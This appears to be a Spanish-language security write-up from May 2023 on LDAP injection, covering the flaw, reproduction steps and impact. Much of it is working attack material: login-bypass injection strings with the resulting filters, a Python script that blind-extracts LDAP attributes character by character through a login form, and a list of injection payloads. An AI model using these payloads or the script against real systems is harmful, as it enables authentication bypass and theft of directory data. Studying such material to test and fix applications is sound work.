Inyección LDAP

May 03 2023
Una falla de seguridad crítica que expone la aplicación a ataques de inyección LDAP
Resumen: esta vulnerabilidad tiene el potencial de provocar la filtración de datos, el acceso no autorizado y otros problemas importantes de seguridad. Para salvaguardar los datos del usuario y la integridad del sistema, recomendamos encarecidamente que se preste atención y resolución a este problema.
Diseñado por el autor

Resumen:

Esta vulnerabilidad tiene el potencial de causar fugas de datos, acceso no autorizado y otros problemas importantes de seguridad. Para salvaguardar los datos del usuario y la integridad del sistema, recomendamos encarecidamente que se preste atención y resolución a este problema.

Detalles de vulnerabilidad:

La inyección LDAP (Protocolo ligero de acceso a directorios) es una técnica de inyección de código que se produce cuando la entrada de un usuario que no es de confianza se incluye directamente en una consulta LDAP sin la desinfección o validación adecuadas.

La aplicación de destino no pudo validar adecuadamente la entrada proporcionada por el usuario, lo que generó una posible vulnerabilidad de inyección de LDAP.

Un atacante puede usar esta debilidad para alterar las consultas LDAP, evadir las comprobaciones de autenticación, obtener acceso no autorizado a datos confidenciales o realizar actos dañinos.

Componente afectado:

La vulnerabilidad de inyección LDAP afecta el módulo de autenticación de la aplicación web, específicamente el código responsable de procesar las credenciales de los usuarios y autenticarse contra un servidor LDAP.

Pasos para reproducir:

  1. Identifique un campo dentro de la aplicación que interactúe con consultas LDAP.
  2. Elabore una entrada maliciosa que contenga metacaracteres LDAP, como paréntesis, asteriscos o barras invertidas.
  3. Envíe la entrada y observe la respuesta de la aplicación.
  4. Tenga en cuenta cualquier comportamiento inesperado, mensajes de error o recuperación de datos inusual.
  1. La aplicación permite que un usuario inicie sesión con su nombre de usuario y contraseña.
  2. La aplicación construye una consulta LDAP utilizando el nombre de usuario proporcionado sin la validación de entrada adecuada.
  3. Un atacante proporciona la siguiente entrada en el campo de nombre de usuario: “)(cn=))(|(uid=))(|(objectClass=*”
  4. La consulta LDAP resultante se convierte en: “(&(cn=))(|(uid=))(|(objectClass=*))(userpassword=[provided password])”
  5. El atacante obtiene acceso no autorizado y potencialmente recupera información confidencial o realiza otras acciones maliciosas.

user=*
password=*
--> (&(user=*)(password=*))
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Los objetos LDAP proporcionan varias propiedades de forma predeterminada que se pueden utilizar para conservar los datos. Puede intentar forzarlos a todos para obtener esa información. Hay una lista de atributos LDAP predeterminados aquí.

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
    value = ""
    finish = False
    while not finish:
        for char in alphabet: #In each possition test each possible printable char
            query = f"*)({attribute}={value}{char}*"
            data = {'login':query, 'password':'bla'}
            r = requests.post(url, data=data, proxies=proxy)
            sys.stdout.write(f"\r{attribute}: {value}{char}")
            #sleep(0.5) #Avoid brute-force bans
            if "Cannot login" in r.text:
                value += str(char)
                break

            if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
                finish = True
                print()

*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y

Impacto:

Un atacante puede usar esta falla para cambiar el formato de una consulta LDAP y emitir cualquier comando LDAP que desee.

Las consecuencias pueden incluir el acceso no autorizado a datos privados, la manipulación de datos o incluso la ejecución remota de código, según los derechos adjuntos a la cuenta de servicio LDAP.

La seguridad y la privacidad de la aplicación de destino podrían verse seriamente comprometidas si esta vulnerabilidad se aprovechara de manera efectiva.

Gorjeo